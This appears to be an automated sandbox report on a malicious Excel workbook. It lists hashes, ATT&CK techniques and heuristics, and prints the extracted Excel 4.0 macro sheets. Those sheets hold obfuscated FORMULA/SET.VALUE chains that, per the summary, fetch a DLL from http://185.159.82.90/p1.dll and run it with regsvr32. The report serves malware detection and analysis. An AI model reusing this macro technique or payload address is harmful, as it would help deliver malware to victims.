Office (OOXML) malware analysis — malicious · bd6181cd1a22f218

MALICIOUS

Office (OOXML)

81.9 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-07-07

MD5: 0782da427a595003f645e9346cd10b1f SHA-1: a36f1b3a66d6d7ae8077a4dc22adc5a042a74578 SHA-256: bd6181cd1a22f218031f63e24c4ba97e86eae61efd286386de2c42a18d1fdb29

182 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically using the dangerous FORMULA API to call Win32 functions. These macros construct a URL to download a DLL payload from 'http://185.159.82.90/p1.dll' and save it as '..\hgkdldjf.dll'. The macros then attempt to execute this DLL using 'regsvr32'.

Heuristics 4

Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: FORMULA, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml	1275 bytes
SHA-256: `bcbfa401fa118336cdbc065c78aa2ea595c22ce9234a3523eff13f14641c4a93`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AV21"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="21" spans="48:48" x14ac:dyDescent="0.25"><c r="AV21" s="14" t="b"><f>SET.VALUE(AW21,Sheet4!BB40&Sheet4!BB41&Sheet4!BB42&Sheet4!BB43&Sheet4!BD50&Sheet4!BE50&Sheet4!BH51&Sheet4!BH52&Sheet4!BJ52&Sheet4!BJ37&Sheet4!BJ38&Sheet4!BJ39&Sheet4!BJ40&Sheet4!BM37&Sheet4!BM38&Sheet4!BM39&Sheet4!BM40&Sheet4!BM43&Sheet4!BM44)=Sheet2!AZ14()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	1096 bytes
SHA-256: `f0087006874a0bc458f3eab26f166164673385bfb37252cf0bfe612f69d998df`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AZ16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="16" spans="52:52" x14ac:dyDescent="0.25"><c r="AZ16" s="14" t="e"><f>SET.VALUE(BA16,Sheet4!BB15&Sheet4!BB16&Sheet4!BB17&Sheet4!BB18&Sheet4!BB19&Sheet4!BE23&Sheet4!BF23&Sheet4!BF15&Sheet4!BG15)=Sheet1!AN17()</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_02.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml	992 bytes
SHA-256: `c3742d0e796c7a64bdf741b0bf14300c5acc31a4e609a0ae1b07ca9b2b42312f`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AN20"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="20" spans="40:40" x14ac:dyDescent="0.25"><c r="AN20" s="14" t="b"><f>FORMULA(Sheet3!AW21,Sheet5!BF25)=Sheet5!BF18()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_03.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml	1059 bytes
SHA-256: `62b113afc952f296a31a175ac0eb0ffef54e55023b1dca955c2e21d0c4f5d287`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="BF19:BF27"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="14"/></cols><sheetData><row r="19" spans="58:58" x14ac:dyDescent="0.25"><c r="BF19" s="14" t="b"><f>FORMULA(Sheet2!BA16,BF26)</f><v>0</v></c></row><row r="27" spans="58:58" x14ac:dyDescent="0.25"><c r="BF27" s="14" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.